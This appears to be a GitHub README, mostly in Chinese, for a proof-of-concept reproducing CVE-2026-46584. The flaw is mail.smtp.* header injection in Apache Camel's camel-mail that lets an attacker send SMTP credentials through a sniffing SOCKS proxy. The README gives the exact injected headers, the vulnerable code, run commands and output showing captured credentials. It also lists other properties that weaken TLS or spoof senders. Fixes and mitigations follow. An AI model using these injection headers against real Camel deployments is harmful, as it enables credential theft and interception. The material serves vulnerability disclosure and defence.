oscerd/CVE-2026-46584
GitHub: oscerd/CVE-2026-46584
CVE-2026-46584 的完整复现项目,演示 Apache Camel camel-mail 组件中 mail.smtp.* header 注入漏洞如何通过 SOCKS 代理拦截窃取 SMTP 凭证。
Stars: 0 | Forks: 0
# camel-mail `mail.smtp.*` Header Injection 复现代码 (CVE-2026-46584)
本项目演示了 Apache Camel 的 `camel-mail` 组件中的一个 **消息头注入** 漏洞,追踪编号为
**CVE-2026-46584**。当 `smtp` / `smtps` producer 发送消息时,`MailProducer.getSender(Exchange)` 会扫描
入站 Exchange 中所有以 `mail.smtp.`(或 `mail.smtps.`)开头的 header,并将它们折叠合并到用于该次发送的
JavaMail `Session` 中 —— 在受影响的版本中**没有任何过滤,也不需要显式开启**。攻击者如果能够
在 Exchange 上设置 header(例如通过 HTTP 前端,其非 `Camel*` 的 header 会穿透默认的
HTTP header 过滤器),就可以重写受害者的 JavaMail 传输设置,这仅对单次发送有效。
此 PoC 将其影响演示为**通过路径内拦截窃取凭证**:注入
`mail.smtp.socks.host` / `mail.smtp.socks.port` 会将受害者*已认证*的 SMTP 连接通过
攻击者控制的 SOCKS 代理进行隧道转发。该代理会透明地转发到真实服务器 —— 因此受害者的发送
仍然会成功 —— 同时它会在传输过程中截获明文的 `AUTH LOGIN` 凭证。
安全公告:https://camel.apache.org/security/CVE-2026-46584.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-mail` |
| **受影响类** | `org.apache.camel.component.mail.MailProducer#getSender(Exchange)` |
| **CWE** | CWE-20 (不当输入验证) / CWE-200 (信息暴露) |
| **影响** | 入站 `mail.smtp.*` header 会重写 JavaMail session → 传输拦截、凭证窃取、信任/TLS 削弱 |
| **前置条件** | 受影响的路由通过 `smtp`/`smtps` 发送,且允许不受信任的输入到达 Exchange header |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **已修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23522 |
| **报告者** | Yu Bao (PayPal) |
## 技术细节
```
// MailProducer (affected 4.18.2) — every send consults the inbound headers:
protected JavaMailSender getSender(Exchange exchange) {
String prefix = "mail.smtp.";
Map additional = URISupport.extractProperties(exchange.getMessage().getHeaders(), prefix);
if (additional.isEmpty()) {
prefix = "mail.smtps.";
additional = URISupport.extractProperties(exchange.getMessage().getHeaders(), prefix);
}
if (additional.isEmpty()) {
return defaultSender; // no injected props -> normal path
}
JavaMailSender customSender = getEndpoint().getConfiguration().createJavaMailSender(...);
additional.forEach((k, v) -> customSender.addAdditionalJavaMailProperty(prefix + k, v.toString()));
return customSender; // <-- attacker props are now in the JavaMail session
}
```
被注入的属性会落入 `DefaultJavaMailSender.send()` 所使用的 JavaMail `Session` 中。SMTP
transport 会从该 session 读取其 socket、代理、STARTTLS 和信任设置,因此注入正确的
`mail.smtp.*` 键会改变*已认证*连接的方式——以及通过谁来进行连接。
修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23522)默认停止接受由 header 提供的 session 属性:
只有当路由显式开启(`useJavaMailSessionPropertiesFromHeaders`)时才会应用它们,并且邮件的
`HeaderFilterStrategy` 会在入站映射时过滤掉 `mail.smtp.` / `mail.smtps.` 命名空间。
### 为什么此 PoC 使用 SOCKS 拦截(而不是 `mail.smtp.host` 重定向)
在 4.18.2 版本中,注入 `mail.smtp.host` **不会**重定向连接。`DefaultJavaMailSender.send()`
使用 `transport.connect(getHost(), getPort(), user, pass)` 进行连接,其中 `getHost()` 返回的是 endpoint 主机
**字段** (`127.0.0.1`),而不是 `mail.smtp.host` *属性*;并且在默认配置下,`createJavaMailSender()` 中
从属性到字段的赋值路径并不会被触发(配置中的 `session` 为 null)。被注入的属性*确实*能够
到达 JavaMail session,因此可靠且具有高影响力的攻击向量是 transport 在连接时从
session 读取的属性 —— 即 `mail.smtp.socks.host` / `mail.smtp.socks.port`。Angus Mail 的 socket 工厂会遵循它,
并通过该 SOCKS 代理打开 socket,从而使攻击者能够在*已认证*的连接上占据路径内拦截位置。
其他 session 读取的配置项同样可以被利用(如 `mail.smtp.ssl.trust`、
`mail.smtp.ssl.checkserveridentity=false`、`mail.smtp.starttls.enable`),以削弱或降级传输安全性。
## 受害者路由
```
from("platform-http:/send")
.setBody(constant("Automated notification from the victim service."))
.to("smtp://127.0.0.1:2525"
+ "?username=victim&password=s3cr3t-smtp-pw" // the victim's configured SECRET credentials
+ "&from=noreply@victim.example&to=ops@victim.example&subject=Notification"
+ "&connectionTimeout=5000");
```
路由作者的意图是固定的:以 `victim` 的身份向 `127.0.0.1:2525` 进行认证。攻击者仅仅添加了两个 HTTP
请求 header,并没有做其他任何事:
```
mail.smtp.socks.host: 127.0.0.1
mail.smtp.socks.port: 1080
```
由于它们不是 `Camel*` header,因此默认的 HTTP header 过滤器会将它们传递给 Exchange;`getSender` 将它们
折叠进 JavaMail session 中;随后已认证的 SMTP 连接将通过攻击者的 SOCKS 代理进行隧道转发,
该代理会从网络数据包中读取受害者的凭证。
## 仓库结构
**受害者** 是 Camel 路由及其配置的 SMTP 服务器;**攻击者** 是一个仅添加了
请求 header 的 HTTP 客户端。所有内容都运行在一个独立的单体应用中。
```
CVE-2026-46584/
├── pom.xml # camel-platform-http + camel-mail 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("platform-http:/send").to("smtp://127.0.0.1:2525?username=victim&password=...")
│ ├── LegitSmtpServer.java # the operator's real SMTP server on 2525 (accepts AUTH LOGIN)
│ ├── AttackerSocksProxy.java # attacker on-path SOCKS5 proxy on 1080 (sniffs AUTH LOGIN)
│ └── ExploitController.java # attacker: POST /send with injected mail.smtp.socks.* headers
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(可选,用于容器化运行)
## 复现步骤
### 选项 A — Docker(推荐)
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 选项 B — 直接运行 jar 包
```
mvn clean package -DskipTests
java -jar target/cve-2026-46584-mail-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```
### 预期输出
```
=== 1) Legitimate request (no injected headers) ===
legit SMTP server authenticated client: victim / s3cr3t-smtp-pw
attacker SOCKS proxy saw a connection: false
=== 2) Attack request (adds mail.smtp.socks.host / mail.smtp.socks.port) ===
connection tunnelled through attacker proxy to: 127.0.0.1:2525
legit SMTP server still authenticated client: victim / s3cr3t-smtp-pw (the victim's send still succeeds)
>>> STOLEN by the attacker's on-path proxy: victim / s3cr3t-smtp-pw
>>> Header-injection / credential-theft proof — the attacker harvested the victim's
>>> configured SMTP credentials by injecting mail.smtp.* headers over HTTP: true
```
合法请求永远不会接触代理。而攻击请求 —— 区别仅仅在于多了两个 HTTP header ——
会将受害者已认证的 SMTP session 通过攻击者的代理进行隧道转发,攻击者可以轻易拿走受害者配置的 SMTP 密码,同时发送过程本身也会顺利成功,不受干扰。
## 攻击向量
任何带有 `smtp`/`smtps` producer 且允许不受信任的输入到达 Exchange header 的路由。除了此处展示的 SOCKS
拦截外,其他可注入的 session 属性包括 `mail.smtp.ssl.trust` 和
`mail.smtp.ssl.checkserveridentity`(接受 MITM 证书)、`mail.smtp.starttls.enable` /
`mail.smtp.starttls.required`(降级为明文)以及 `mail.smtp.from`(信封发件人欺骗)。
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23522)。修复后,除非路由显式开启 `useJavaMailSessionPropertiesFromHeaders`,否则由 header 提供的 JavaMail session 属性将被忽略,并且 `mail.smtp.` /
`mail.smtps.` 命名空间会在入站映射时被过滤。
## 缓解措施
在升级之前:
1. 在 mail producer 之前剥离该属性命名空间:`.removeHeaders("mail.smtp.*")` 和
`.removeHeaders("mail.smtps.*")`(通常也建议 `.removeHeaders("Camel*")`)。
2. 不要让不受信任的 producer 在馈送至 mail producer 的 Exchanges 上放置任意 header —— 在入站端
应用严格的 `HeaderFilterStrategy`。
## 免责声明
此复现代码仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, JS文件枚举, SDLC, SMTP, 中间人攻击, 中间件漏洞, 域名枚举, 漏洞复现, 版权保护, 请求拦截